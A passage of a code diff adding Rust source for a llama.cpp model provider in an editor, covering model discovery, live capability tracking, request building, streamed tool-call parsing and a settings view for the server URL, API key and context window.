+                                        write_recover(&this.loading_progress)
+                                            .insert(event.model.clone(), label);
+                                        cx.notify();
+                                    })
+                                    .is_err()
+                                {
+                                    return;
+                                }
+                                continue;
+                            }
+                            if !event.changes_model_state() {
+                                continue;
+                            }
+                            // Terminal load/unload (or list change): drop the
+                            // progress label and re-discover to refresh capabilities.
+                            if this
+                                .update(cx, |this, cx| {
+                                    write_recover(&this.loading_progress).remove(&event.model);
+                                    this.restart_fetch_models_task(cx);
+                                })
+                                .is_err()
+                            {
+                                return;
+                            }
+                        }
+                    }
+                    // Endpoint missing (older build) or connection failed; retry after a backoff.
+                    Err(error) => {
+                        log::warn!("llama.cpp model event stream unavailable: {error:#}");
+                    }
+                }
+
+                cx.background_executor()
+                    .timer(MODEL_EVENT_RECONNECT_INTERVAL)
+                    .await;
+                if this.update(cx, |_, _| ()).is_err() {
+                    return;
+                }
+            }
+        }));
+    }
+
+    fn restart_fetch_models_task(&mut self, cx: &mut Context<Self>) {
+        let task = self.fetch_models(cx);
+        self.fetch_model_task.replace(task);
+    }
+}
+
+/// Capabilities that only become known once a router model loads. `LanguageModel`'s
+/// methods take no `cx`, yet the agent reads them live each turn, so we share
+/// them through a map that re-discovery updates — an already-selected model
+/// picks up real values without re-selection. Image support is available from
+/// `/v1/models` hints, so it stays a field.
+#[derive(Clone, Copy, Debug, PartialEq)]
+struct LiveCapabilities {
+    max_tokens: u64,
+    supports_tools: bool,
+    supports_thinking: bool,
+}
+
+impl LiveCapabilities {
+    fn of(model: &llama_cpp::Model) -> Self {
+        Self {
+            max_tokens: model.max_tokens,
+            supports_tools: model.supports_tools,
+            supports_thinking: model.supports_thinking,
+        }
+    }
+}
+
+/// Live capabilities keyed by model name, shared by the provider and its models.
+type CapabilityCells = Arc<RwLock<HashMap<String, LiveCapabilities>>>;
+
+/// Model name → load-status label (e.g. `"Loading weights 42%"`) while a router
+/// model loads, shared so the model selector can show progress. Absent once loaded.
+type LoadingProgress = Arc<RwLock<HashMap<String, SharedString>>>;
+
+/// Locks for reading, recovering instead of panicking on a poisoned lock. The
+/// critical sections are infallible map ops, so poisoning is unreachable anyway.
+fn read_recover<T>(lock: &RwLock<T>) -> RwLockReadGuard<'_, T> {
+    lock.read().unwrap_or_else(|poisoned| poisoned.into_inner())
+}
+
+/// Locks for writing; see [`read_recover`].
+fn write_recover<T>(lock: &RwLock<T>) -> RwLockWriteGuard<'_, T> {
+    lock.write()
+        .unwrap_or_else(|poisoned| poisoned.into_inner())
+}
+
+/// The exact set of models `provided_models` exposes: discovery merged with the
+/// `available_models` and `context_window` overrides. Shared with re-discovery.
+fn compute_effective_models(
+    fetched_models: &[llama_cpp::Model],
+    settings: &LlamaCppSettings,
+) -> HashMap<String, llama_cpp::Model> {
+    let mut models: HashMap<String, llama_cpp::Model> = HashMap::default();
+    if settings.auto_discover {
+        for model in fetched_models {
+            let mut model = model.clone();
+            if let Some(context_window) = settings.context_window {
+                model.max_tokens = context_window;
+            }
+            models.insert(model.name.clone(), model);
+        }
+    }
+    merge_settings_into_models(
+        &mut models,
+        &settings.available_models,
+        settings.context_window,
+    );
+    models
+}
+
+/// Updates the shared capability map from the effective models, so a model held
+/// by an open conversation observes the new values (it reads the map by name).
+fn sync_capability_cells(cells: &CapabilityCells, effective: &HashMap<String, llama_cpp::Model>) {
+    let mut cells = write_recover(cells);
+    for model in effective.values() {
+        cells.insert(model.name.clone(), LiveCapabilities::of(model));
+    }
+}
+
+/// Builds a model from a `/v1/models` entry, refined by `/props` when the model
+/// is loaded. An unloaded router model can't be probed, so we assume optimistic
+/// capabilities and let re-discovery refine them on load.
+fn model_from_entry(entry: &ModelEntry, props: Option<&Props>) -> llama_cpp::Model {
+    let max_tokens = props
+        .and_then(Props::context_length)
+        .or_else(|| entry.meta.as_ref().and_then(|meta| meta.n_ctx))
+        .or_else(|| entry.meta.as_ref().and_then(|meta| meta.n_ctx_train))
+        .unwrap_or(ASSUMED_UNLOADED_CONTEXT);
+    // Trust `/props` when present. Without it, assume tools for an unloaded model
+    // (re-discovery corrects on load) but not for a loaded model whose probe failed.
+    let supports_tools = match props {
+        Some(props) => props.supports_tools(),
+        None => !entry.is_loaded(),
+    };
+    let supports_images = props.is_some_and(Props::supports_images) || entry.supports_images_hint();
+    let supports_thinking = props.is_some_and(Props::supports_thinking);
+
+    llama_cpp::Model::new(
+        &entry.id,
+        Some(&display_name_for(&entry.id)),
+        Some(max_tokens),
+        supports_tools,
+        supports_images,
+        supports_thinking,
+    )
+}
+
+/// Friendly display name from a model id, which is often a `.gguf` file path.
+fn display_name_for(id: &str) -> String {
+    let base = id.rsplit(['/', '\\']).next().unwrap_or(id);
+    base.strip_suffix(".gguf").unwrap_or(base).to_string()
+}
+
+fn telemetry_id_for(id: &str) -> String {
+    format!("llama_cpp/{}", display_name_for(id))
+}
+
+impl LlamaCppLanguageModelProvider {
+    pub fn new(
+        http_client: Arc<dyn HttpClient>,
+        credentials_provider: Arc<dyn CredentialsProvider>,
+        cx: &mut App,
+    ) -> Self {
+        let capability_cells: CapabilityCells = Arc::new(RwLock::new(HashMap::default()));
+        let loading_progress: LoadingProgress = Arc::new(RwLock::new(HashMap::default()));
+        let this = Self {
+            http_client: http_client.clone(),
+            capability_cells: capability_cells.clone(),
+            loading_progress: loading_progress.clone(),
+            state: cx.new(|cx| {
+                cx.observe_global::<SettingsStore>({
+                    let mut last_settings = LlamaCppLanguageModelProvider::settings(cx).clone();
+                    move |this: &mut State, cx| {
+                        let current_settings = LlamaCppLanguageModelProvider::settings(cx);
+                        let settings_changed = current_settings != &last_settings;
+                        if settings_changed {
+                            let url_changed = last_settings.api_url != current_settings.api_url;
+                            last_settings = current_settings.clone();
+                            if url_changed {
+                                let credentials_provider = this.credentials_provider.clone();
+                                let api_url = Self::api_url(cx);
+                                this.api_key_state.handle_url_change(
+                                    api_url,
+                                    |this| &mut this.api_key_state,
+                                    credentials_provider,
+                                    cx,
+                                );
+                                this.fetched_models.clear();
+                                // Drop the event stream so it reconnects against
+                                // the new URL (re-auth below restarts it).
+                                this.model_event_task = None;
+                                write_recover(&this.loading_progress).clear();
+                                this.authenticate(cx).detach();
+                            }
+                            cx.notify();
+                        }
+                    }
+                })
+                .detach();
+
+                State {
+                    http_client,
+                    fetched_models: Default::default(),
+                    fetch_model_task: None,
+                    model_event_task: None,
+                    capability_cells,
+                    loading_progress,
+                    api_key_state: ApiKeyState::new(Self::api_url(cx), (*API_KEY_ENV_VAR).clone()),
+                    credentials_provider,
+                }
+            }),
+        };
+        // Discover eagerly so a running server is picked up without opening settings.
+        this.state
+            .update(cx, |state, cx| state.restart_fetch_models_task(cx));
+        this
+    }
+
+    fn settings(cx: &App) -> &LlamaCppSettings {
+        &AllLanguageModelSettings::get_global(cx).llama_cpp
+    }
+
+    fn api_url(cx: &App) -> SharedString {
+        let api_url = &Self::settings(cx).api_url;
+        if api_url.is_empty() {
+            LLAMA_CPP_API_URL.into()
+        } else {
+            SharedString::new(api_url.as_str())
+        }
+    }
+
+    fn has_custom_url(cx: &App) -> bool {
+        Self::settings(cx).api_url != LLAMA_CPP_API_URL
+    }
+}
+
+impl LanguageModelProviderState for LlamaCppLanguageModelProvider {
+    type ObservableEntity = State;
+
+    fn observable_entity(&self) -> Option<Entity<Self::ObservableEntity>> {
+        Some(self.state.clone())
+    }
+}
+
+impl LanguageModelProvider for LlamaCppLanguageModelProvider {
+    fn id(&self) -> LanguageModelProviderId {
+        PROVIDER_ID
+    }
+
+    fn name(&self) -> LanguageModelProviderName {
+        PROVIDER_NAME
+    }
+
+    fn icon(&self) -> IconOrSvg {
+        IconOrSvg::Icon(IconName::AiLlamaCpp)
+    }
+
+    fn default_model(&self, _: &App) -> Option<Arc<dyn LanguageModel>> {
+        // No default model: in router mode it could trigger an expensive load of
+        // an unloaded model on a constrained machine.
+        None
+    }
+
+    fn default_fast_model(&self, _: &App) -> Option<Arc<dyn LanguageModel>> {
+        // See explanation for default_model.
+        None
+    }
+
+    fn provided_models(&self, cx: &App) -> Vec<Arc<dyn LanguageModel>> {
+        let settings = LlamaCppLanguageModelProvider::settings(cx);
+        let effective = compute_effective_models(&self.state.read(cx).fetched_models, settings);
+
+        // Refresh the shared capability map so open conversations pick up settings changes.
+        sync_capability_cells(&self.capability_cells, &effective);
+        let mut models = effective
+            .into_values()
+            .map(|model| {
+                Arc::new(LlamaCppLanguageModel {
+                    id: LanguageModelId::from(model.name.clone()),
+                    name: model.name.clone(),
+                    display_name: model.display_name().to_string(),
+                    fallback_capabilities: LiveCapabilities::of(&model),
+                    supports_images: model.supports_images,
+                    capability_cells: self.capability_cells.clone(),
+                    loading_progress: self.loading_progress.clone(),
+                    http_client: self.http_client.clone(),
+                    request_limiter: RateLimiter::new(4),
+                    state: self.state.clone(),
+                }) as Arc<dyn LanguageModel>
+            })
+            .collect::<Vec<_>>();
+        models.sort_by_key(|model| model.name());
+        models
+    }
+
+    fn is_authenticated(&self, cx: &App) -> bool {
+        self.state.read(cx).is_authenticated()
+    }
+
+    fn authenticate(&self, cx: &mut App) -> Task<Result<(), AuthenticateError>> {
+        self.state.update(cx, |state, cx| state.authenticate(cx))
+    }
+
+    fn configuration_view(
+        &self,
+        _target_agent: language_model::ConfigurationViewTargetAgent,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> AnyView {
+        let state = self.state.clone();
+        cx.new(|cx| ConfigurationView::new(state, window, cx))
+            .into()
+    }
+
+    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(None, cx))
+    }
+}
+
+pub struct LlamaCppLanguageModel {
+    id: LanguageModelId,
+    /// The model id sent to the server.
+    name: String,
+    display_name: String,
+    /// Live capabilities shared with the provider, read fresh on each access so an
+    /// open conversation reflects the model's real values once it has loaded.
+    capability_cells: CapabilityCells,
+    /// Used when `capability_cells` has no entry (e.g. model removed mid-conversation).
+    fallback_capabilities: LiveCapabilities,
+    /// Available from `/v1/models` hints, so captured at build time.
+    supports_images: bool,
+    /// Shared with the provider; this model's load progress, read by `name` so the
+    /// selector can show a loading indicator.
+    loading_progress: LoadingProgress,
+    http_client: Arc<dyn HttpClient>,
+    request_limiter: RateLimiter,
+    state: Entity<State>,
+}
+
+impl LlamaCppLanguageModel {
+    /// The model's live capabilities, or the build-time fallback if the map lacks it.
+    fn capabilities(&self) -> LiveCapabilities {
+        read_recover(&self.capability_cells)
+            .get(&self.name)
+            .copied()
+            .unwrap_or(self.fallback_capabilities)
+    }
+
+    /// This model's load-status label while loading, read live from the shared map.
+    fn loading_label(&self) -> Option<SharedString> {
+        read_recover(&self.loading_progress)
+            .get(&self.name)
+            .cloned()
+    }
+
+    fn to_llama_cpp_request(
+        &self,
+        request: LanguageModelRequest,
+    ) -> llama_cpp::ChatCompletionRequest {
+        build_llama_cpp_request(
+            &self.name,
+            self.supports_images,
+            self.capabilities(),
+            request,
+        )
+    }
+
+    fn stream_completion(
+        &self,
+        request: llama_cpp::ChatCompletionRequest,
+        cx: &AsyncApp,
+    ) -> BoxFuture<
+        'static,
+        Result<futures::stream::BoxStream<'static, Result<llama_cpp::ResponseStreamEvent>>>,
+    > {
+        let http_client = self.http_client.clone();
+        let (api_key, api_url, extra_headers) = self.state.read_with(cx, |state, cx| {
+            let api_url = LlamaCppLanguageModelProvider::api_url(cx);
+            let extra_headers = LlamaCppLanguageModelProvider::settings(cx)
+                .custom_headers
+                .clone();
+            (state.api_key_state.key(&api_url), api_url, extra_headers)
+        });
+
+        let future = self.request_limiter.stream(async move {
+            let stream = stream_chat_completion(
+                http_client.as_ref(),
+                &api_url,
+                api_key.as_deref(),
+                request,
+                &extra_headers,
+            )
+            .await?;
+            Ok(stream)
+        });
+
+        async move { Ok(future.await?.boxed()) }.boxed()
+    }
+}
+
+fn build_llama_cpp_request(
+    model_name: &str,
+    supports_images: bool,
+    capabilities: LiveCapabilities,
+    request: LanguageModelRequest,
+) -> llama_cpp::ChatCompletionRequest {
+    let supports_tools = capabilities.supports_tools;
+    let supports_thinking = capabilities.supports_thinking;
+    let mut messages = Vec::new();
+
+    for message in request.messages {
+        let mut reasoning_content: Option<String> = None;
+        for content in message.content {
+            match content {
+                MessageContent::Text(text) => add_message_content_part(
+                    llama_cpp::MessagePart::Text { text },
+                    message.role,
+                    &mut messages,
+                    if supports_thinking && message.role == Role::Assistant {
+                        reasoning_content.take()
+                    } else {
+                        None
+                    },
+                ),
+                MessageContent::Thinking { text, .. } => {
+                    if supports_thinking && message.role == Role::Assistant && !text.is_empty() {
+                        reasoning_content.get_or_insert_default().push_str(&text);
+                    }
+                }
+                MessageContent::RedactedThinking(_) => {}
+                MessageContent::Compaction(_) => {}
+                MessageContent::Image(image) => {
+                    if supports_images {
+                        add_message_content_part(
+                            llama_cpp::MessagePart::Image {
+                                image_url: llama_cpp::ImageUrl {
+                                    url: image.to_base64_url(),
+                                    detail: None,
+                                },
+                            },
+                            message.role,
+                            &mut messages,
+                            if supports_thinking && message.role == Role::Assistant {
+                                reasoning_content.take()
+                            } else {
+                                None
+                            },
+                        );
+                    }
+                }
+                MessageContent::ToolUse(tool_use) => {
+                    let tool_call = llama_cpp::ToolCall {
+                        id: tool_use.id.to_string(),
+                        content: llama_cpp::ToolCallContent::Function {
+                            function: llama_cpp::FunctionContent {
+                                name: tool_use.name.to_string(),
+                                arguments: serde_json::to_string(&tool_use.input)
+                                    .unwrap_or_default(),
+                            },
+                        },
+                    };
+
+                    if let Some(llama_cpp::ChatMessage::Assistant {
+                        tool_calls,
+                        reasoning_content: message_reasoning_content,
+                        ..
+                    }) = messages.last_mut()
+                    {
+                        append_reasoning_content(
+                            message_reasoning_content,
+                            reasoning_content.take(),
+                        );
+                        tool_calls.push(tool_call);
+                    } else {
+                        messages.push(llama_cpp::ChatMessage::Assistant {
+                            content: None,
+                            reasoning_content: reasoning_content.take(),
+                            tool_calls: vec![tool_call],
+                        });
+                    }
+                }
+                MessageContent::ToolResult(tool_result) => {
+                    let content: Vec<llama_cpp::MessagePart> = tool_result
+                        .content
+                        .iter()
+                        .filter_map(|part| match part {
+                            LanguageModelToolResultContent::Text(text) => {
+                                Some(llama_cpp::MessagePart::Text {
+                                    text: text.to_string(),
+                                })
+                            }
+                            LanguageModelToolResultContent::Image(image) => {
+                                if supports_images {
+                                    Some(llama_cpp::MessagePart::Image {
+                                        image_url: llama_cpp::ImageUrl {
+                                            url: image.to_base64_url(),
+                                            detail: None,
+                                        },
+                                    })
+                                } else {
+                                    None
+                                }
+                            }
+                        })
+                        .collect();
+
+                    messages.push(llama_cpp::ChatMessage::Tool {
+                        content: content.into(),
+                        tool_call_id: tool_result.tool_use_id.to_string(),
+                    });
+                }
+            }
+        }
+    }
+
+    let tools: Vec<llama_cpp::ToolDefinition> = if supports_tools {
+        request
+            .tools
+            .into_iter()
+            .map(|tool| llama_cpp::ToolDefinition::Function {
+                function: llama_cpp::FunctionDefinition {
+                    name: tool.name,
+                    description: Some(tool.description),
+                    parameters: Some(tool.input_schema),
+                },
+            })
+            .collect()
+    } else {
+        Vec::new()
+    };
+    // Only send `tool_choice` with actual tools; some OpenAI-compatible servers
+    // reject it otherwise.
+    let tool_choice = if tools.is_empty() {
+        None
+    } else {
+        request.tool_choice.map(|choice| match choice {
+            LanguageModelToolChoice::Auto => llama_cpp::ToolChoice::Auto,
+            LanguageModelToolChoice::Any => llama_cpp::ToolChoice::Required,
+            LanguageModelToolChoice::None => llama_cpp::ToolChoice::None,
+        })
+    };
+
+    llama_cpp::ChatCompletionRequest {
+        model: model_name.to_string(),
+        messages,
+        stream: true,
+        // Let the server decide the output length (its `n_predict` default).
+        max_tokens: None,
+        stop: if request.stop.is_empty() {
+            None
+        } else {
+            Some(request.stop)
+        },
+        // llama.cpp models often ship recommended sampler settings, so override
+        // temperature only when the request sets one.
+        temperature: request.temperature,
+        tools,
+        tool_choice,
+        stream_options: Some(llama_cpp::StreamOptions {
+            include_usage: true,
+        }),
+    }
+}
+
+impl LanguageModel for LlamaCppLanguageModel {
+    fn id(&self) -> LanguageModelId {
+        self.id.clone()
+    }
+
+    fn name(&self) -> LanguageModelName {
+        match self.loading_label() {
+            // Surface load progress in the display name so it shows wherever the
+            // model is named, without provider-agnostic UI changes. The agent
+            // rebuilds the name on `ProviderStateChanged`, which our ticks emit.
+            Some(label) => LanguageModelName::from(format!("{} · {}", self.display_name, label)),
+            None => LanguageModelName::from(self.display_name.clone()),
+        }
+    }
+
+    fn provider_id(&self) -> LanguageModelProviderId {
+        PROVIDER_ID
+    }
+
+    fn provider_name(&self) -> LanguageModelProviderName {
+        PROVIDER_NAME
+    }
+
+    fn supports_tools(&self) -> bool {
+        self.capabilities().supports_tools
+    }
+
+    fn supports_tool_choice(&self, choice: LanguageModelToolChoice) -> bool {
+        self.supports_tools()
+            && match choice {
+                LanguageModelToolChoice::Auto => true,
+                LanguageModelToolChoice::Any => true,
+                LanguageModelToolChoice::None => true,
+            }
+    }
+
+    fn supports_images(&self) -> bool {
+        self.supports_images
+    }
+
+    fn supports_thinking(&self) -> bool {
+        self.capabilities().supports_thinking
+    }
+
+    fn telemetry_id(&self) -> String {
+        telemetry_id_for(&self.name)
+    }
+
+    fn max_token_count(&self) -> u64 {
+        self.capabilities().max_tokens
+    }
+
+    fn stream_completion(
+        &self,
+        request: LanguageModelRequest,
+        cx: &AsyncApp,
+    ) -> BoxFuture<
+        'static,
+        Result<
+            BoxStream<'static, Result<LanguageModelCompletionEvent, LanguageModelCompletionError>>,
+            LanguageModelCompletionError,
+        >,
+    > {
+        let request = self.to_llama_cpp_request(request);
+        let completions = self.stream_completion(request, cx);
+        async move {
+            let mapper = LlamaCppEventMapper::new();
+            Ok(mapper.map_stream(completions.await?).boxed())
+        }
+        .boxed()
+    }
+}
+
+struct LlamaCppEventMapper {
+    tool_calls_by_index: HashMap<usize, RawToolCall>,
+}
+
+impl LlamaCppEventMapper {
+    fn new() -> Self {
+        Self {
+            tool_calls_by_index: HashMap::default(),
+        }
+    }
+
+    pub fn map_stream(
+        mut self,
+        events: Pin<Box<dyn Send + Stream<Item = Result<llama_cpp::ResponseStreamEvent>>>>,
+    ) -> impl Stream<Item = Result<LanguageModelCompletionEvent, LanguageModelCompletionError>>
+    {
+        events.flat_map(move |event| {
+            futures::stream::iter(match event {
+                Ok(event) => self.map_event(event),
+                Err(error) => vec![Err(LanguageModelCompletionError::from(error))],
+            })
+        })
+    }
+
+    pub fn map_event(
+        &mut self,
+        event: llama_cpp::ResponseStreamEvent,
+    ) -> Vec<Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
+        let mut events = Vec::new();
+
+        if let Some(usage) = event.usage {
+            events.push(Ok(LanguageModelCompletionEvent::UsageUpdate(TokenUsage {
+                input_tokens: usage.prompt_tokens,
+                output_tokens: usage.completion_tokens,
+                cache_creation_input_tokens: 0,
+                cache_read_input_tokens: 0,
+            })));
+        }
+
+        if let Some(choice) = event.choices.into_iter().next() {
+            if let Some(reasoning_content) = choice.delta.reasoning_content {
+                events.push(Ok(LanguageModelCompletionEvent::Thinking {
+                    text: reasoning_content,
+                    signature: None,
+                }));
+            }
+
+            if let Some(content) = choice.delta.content {
+                if !content.is_empty() {
+                    events.push(Ok(LanguageModelCompletionEvent::Text(content)));
+                }
+            }
+
+            if let Some(tool_calls) = choice.delta.tool_calls {
+                for tool_call in tool_calls {
+                    let entry = self.tool_calls_by_index.entry(tool_call.index).or_default();
+
+                    if let Some(tool_id) = tool_call.id {
+                        entry.id = tool_id;
+                    }
+
+                    if let Some(function) = tool_call.function {
+                        if let Some(name) = function.name {
+                            // Only the first chunk carries the function name;
+                            // later chunks send an empty name with arguments.
+                            if !name.is_empty() {
+                                entry.name = name;
+                            }
+                        }
+
+                        if let Some(arguments) = function.arguments {
+                            entry.arguments.push_str(&arguments);
+                        }
+                    }
+                }
+            }
+
+            if let Some(finish_reason) = choice.finish_reason.as_deref() {
+                match finish_reason {
+                    "stop" => {
+                        events.push(Ok(LanguageModelCompletionEvent::Stop(StopReason::EndTurn)));
+                    }
+                    "tool_calls" => {
+                        events.extend(self.tool_calls_by_index.drain().map(|(_, tool_call)| {
+                            match parse_tool_arguments(&tool_call.arguments) {
+                                Ok(input) => Ok(LanguageModelCompletionEvent::ToolUse(
+                                    LanguageModelToolUse {
+                                        id: tool_call.id.into(),
+                                        name: tool_call.name.into(),
+                                        is_input_complete: true,
+                                        input,
+                                        raw_input: tool_call.arguments,
+                                        thought_signature: None,
+                                    },
+                                )),
+                                Err(error) => {
+                                    Ok(LanguageModelCompletionEvent::ToolUseJsonParseError {
+                                        id: tool_call.id.into(),
+                                        tool_name: tool_call.name.into(),
+                                        raw_input: tool_call.arguments.into(),
+                                        json_parse_error: error.to_string(),
+                                    })
+                                }
+                            }
+                        }));
+
+                        events.push(Ok(LanguageModelCompletionEvent::Stop(StopReason::ToolUse)));
+                    }
+                    "length" => {
+                        events.push(Ok(LanguageModelCompletionEvent::Stop(
+                            StopReason::MaxTokens,
+                        )));
+                    }
+                    unexpected => {
+                        log::warn!("Unexpected llama.cpp finish_reason: {unexpected:?}");
+                        events.push(Ok(LanguageModelCompletionEvent::Stop(StopReason::EndTurn)));
+                    }
+                }
+            }
+        }
+
+        events
+    }
+}
+
+#[derive(Default)]
+struct RawToolCall {
+    id: String,
+    name: String,
+    arguments: String,
+}
+
+fn add_message_content_part(
+    new_part: llama_cpp::MessagePart,
+    role: Role,
+    messages: &mut Vec<llama_cpp::ChatMessage>,
+    reasoning_content: Option<String>,
+) {
+    match (role, messages.last_mut()) {
+        (Role::User, Some(llama_cpp::ChatMessage::User { content }))
+        | (Role::System, Some(llama_cpp::ChatMessage::System { content })) => {
+            content.push_part(new_part);
+        }
+        (
+            Role::Assistant,
+            Some(llama_cpp::ChatMessage::Assistant {
+                content: Some(content),
+                reasoning_content: message_reasoning_content,
+                ..
+            }),
+        ) => {
+            append_reasoning_content(message_reasoning_content, reasoning_content);
+            content.push_part(new_part);
+        }
+        _ => {
+            messages.push(match role {
+                Role::User => llama_cpp::ChatMessage::User {
+                    content: llama_cpp::MessageContent::from(vec![new_part]),
+                },
+                Role::Assistant => llama_cpp::ChatMessage::Assistant {
+                    content: Some(llama_cpp::MessageContent::from(vec![new_part])),
+                    reasoning_content,
+                    tool_calls: Vec::new(),
+                },
+                Role::System => llama_cpp::ChatMessage::System {
+                    content: llama_cpp::MessageContent::from(vec![new_part]),
+                },
+            });
+        }
+    }
+}
+
+fn append_reasoning_content(target: &mut Option<String>, content: Option<String>) {
+    let Some(content) = content else {
+        return;
+    };
+    if content.is_empty() {
+        return;
+    }
+    target.get_or_insert_default().push_str(&content);
+}
+
+fn merge_settings_into_models(
+    models: &mut HashMap<String, llama_cpp::Model>,
+    available_models: &[AvailableModel],
+    context_window: Option<u64>,
+) {
+    for setting_model in available_models {
+        if let Some(model) = models.get_mut(&setting_model.name) {
+            if context_window.is_none() {
+                model.max_tokens = setting_model.max_tokens;
+            }
+            if setting_model.display_name.is_some() {
+                model.display_name = setting_model.display_name.clone();
+            }
+            if let Some(supports_tools) = setting_model.supports_tools {
+                model.supports_tools = supports_tools;
+            }
+            if let Some(supports_images) = setting_model.supports_images {
+                model.supports_images = supports_images;
+            }
+            if let Some(supports_thinking) = setting_model.supports_thinking {
+                model.supports_thinking = supports_thinking;
+            }
+        } else {
+            models.insert(
+                setting_model.name.clone(),
+                llama_cpp::Model {
+                    name: setting_model.name.clone(),
+                    display_name: setting_model.display_name.clone(),
+                    max_tokens: context_window.unwrap_or(setting_model.max_tokens),
+                    supports_tools: setting_model.supports_tools.unwrap_or(false),
+                    supports_images: setting_model.supports_images.unwrap_or(false),
+                    supports_thinking: setting_model.supports_thinking.unwrap_or(false),
+                },
+            );
+        }
+    }
+}
+
+struct ConfigurationView {
+    api_key_editor: Entity<InputField>,
+    api_url_editor: Entity<InputField>,
+    context_window_editor: Entity<InputField>,
+    state: Entity<State>,
+}
+
+impl ConfigurationView {
+    pub fn new(state: Entity<State>, window: &mut Window, cx: &mut Context<Self>) -> Self {
+        let api_key_editor = cx.new(|cx| InputField::new(window, cx, "sk-...").label("API key"));
+
+        let api_url_editor = cx.new(|cx| {
+            let input = InputField::new(window, cx, LLAMA_CPP_API_URL).label("API URL");
+            input.set_text(&LlamaCppLanguageModelProvider::api_url(cx), window, cx);
+            input
+        });
+
+        let context_window_editor = cx.new(|cx| {
+            let input = InputField::new(window, cx, "8192").label("Context Window");
+            if let Some(context_window) = LlamaCppLanguageModelProvider::settings(cx).context_window
+            {
+                input.set_text(&context_window.to_string(), window, cx);
+            }
+            input
+        });
+
+        cx.observe(&state, |_, _, cx| {
+            cx.notify();
+        })
+        .detach();
+
+        Self {
+            api_key_editor,
+            api_url_editor,
+            context_window_editor,
+            state,
+        }
+    }
+
+    fn retry_connection(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        let has_api_url = LlamaCppLanguageModelProvider::has_custom_url(cx);
+        let has_api_key = self
+            .state
+            .read_with(cx, |state, _| state.api_key_state.has_key());
+        if !has_api_url {
+            self.save_api_url(cx);
+        }
+        if !has_api_key {
+            self.save_api_key(&Default::default(), window, cx);
+        }
+
+        self.state.update(cx, |state, cx| {
+            state.restart_fetch_models_task(cx);
+        });
+    }
+
+    fn save_api_key(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
+        let api_key = self.api_key_editor.read(cx).text(cx).trim().to_string();
+        if api_key.is_empty() {
+            return;
+        }
+
+        // A URL change can cause the editor to be shown again.
+        self.api_key_editor
+            .update(cx, |input, cx| input.set_text("", window, cx));
+
+        let state = self.state.clone();
+        cx.spawn_in(window, async move |_, cx| {
+            state
+                .update(cx, |state, cx| state.set_api_key(Some(api_key), cx))
+                .await
+        })
+        .detach_and_log_err(cx);
+    }
+
+    fn reset_api_key(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.api_key_editor
+            .update(cx, |input, cx| input.set_text("", window, cx));
+
+        let state = self.state.clone();
+        cx.spawn_in(window, async move |_, cx| {
+            state
+                .update(cx, |state, cx| state.set_api_key(None, cx))
+                .await
+        })
+        .detach_and_log_err(cx);
+
+        cx.notify();
+    }
+
+    fn save_api_url(&self, cx: &mut Context<Self>) {
+        let api_url = self.api_url_editor.read(cx).text(cx).trim().to_string();
+        let current_url = LlamaCppLanguageModelProvider::api_url(cx);
+        if !api_url.is_empty() && &api_url != &current_url {
+            let fs = <dyn Fs>::global(cx);
+            update_settings_file(fs, cx, move |settings, _| {
+                settings
+                    .language_models
+                    .get_or_insert_default()
+                    .llama_cpp
+                    .get_or_insert_default()
+                    .api_url = Some(api_url);
+            });
+        }
+    }
+
+    fn reset_api_url(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.api_url_editor
+            .update(cx, |input, cx| input.set_text("", window, cx));
+        let fs = <dyn Fs>::global(cx);
+        update_settings_file(fs, cx, |settings, _cx| {
+            if let Some(settings) = settings
+                .language_models
+                .as_mut()
+                .and_then(|models| models.llama_cpp.as_mut())
+            {
+                settings.api_url = Some(LLAMA_CPP_API_URL.into());
+            }
+        });
+        cx.notify();
+    }
+
+    fn save_context_window(&mut self, cx: &mut Context<Self>) {
+        let context_window_str = self
+            .context_window_editor
+            .read(cx)
+            .text(cx)
+            .trim()
+            .to_string();
+        let current_context_window = LlamaCppLanguageModelProvider::settings(cx).context_window;
+
+        if let Ok(context_window) = context_window_str.parse::<u64>() {
+            if Some(context_window) != current_context_window {
+                let fs = <dyn Fs>::global(cx);
+                update_settings_file(fs, cx, move |settings, _| {
+                    settings
+                        .language_models
+                        .get_or_insert_default()
+                        .llama_cpp
+                        .get_or_insert_default()
+                        .context_window = Some(context_window);
+                });
+            }
+        } else if context_window_str.is_empty() && current_context_window.is_some() {
+            let fs = <dyn Fs>::global(cx);
+            update_settings_file(fs, cx, move |settings, _| {
+                settings
+                    .language_models
+                    .get_or_insert_default()
+                    .llama_cpp
+                    .get_or_insert_default()
+                    .context_window = None;
+            });
+        }
+    }
+
+    fn reset_context_window(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.context_window_editor
+            .update(cx, |input, cx| input.set_text("", window, cx));
+        let fs = <dyn Fs>::global(cx);
+        update_settings_file(fs, cx, |settings, _cx| {
+            if let Some(settings) = settings
+                .language_models
+                .as_mut()
+                .and_then(|models| models.llama_cpp.as_mut())
+            {
+                settings.context_window = None;
+            }
+        });
+        cx.notify();
+    }
+
+    fn render_instructions(cx: &App) -> Div {
+        v_flex()
+            .gap_2()
+            .child(Label::new(
+                "Run open models locally with llama.cpp's built-in server, or connect to a \
+                remote llama.cpp server.",
+            ))
+            .child(Label::new("To use a local llama.cpp server:"))
+            .child(
+                List::new()
+                    .child(
+                        ListBulletItem::new("")
+                            .child(Label::new("Install llama.cpp from"))
+                            .child(ButtonLink::new("llama.app", LLAMA_CPP_DOWNLOAD_URL)),
+                    )
+                    .child(
+                        ListBulletItem::new("")
+                            .child(Label::new("Start the server in router mode:"))
+                            .child(Label::new("llama serve").inline_code(cx)),
+                    )
+                    .child(ListBulletItem::new(
+                        "Click 'Connect' below to start using llama.cpp in Zed",
+                    )),
+            )
+            .child(Label::new(
+                "Alternatively, you can connect to a remote llama.cpp server by specifying its \
+                URL and API key (set with --api-key, may not be required):",
+            ))
+    }
+
+    fn render_api_key_editor(&self, cx: &Context<Self>) -> impl IntoElement {
+        let state = self.state.read(cx);
+        let env_var_set = state.api_key_state.is_from_env_var();
+        let configured_card_label = if env_var_set {
+            format!("API key set in {API_KEY_ENV_VAR_NAME} environment variable.")
+        } else {
+            "API key configured".to_string()
+        };
+
+        if !state.api_key_state.has_key() {
+            v_flex()
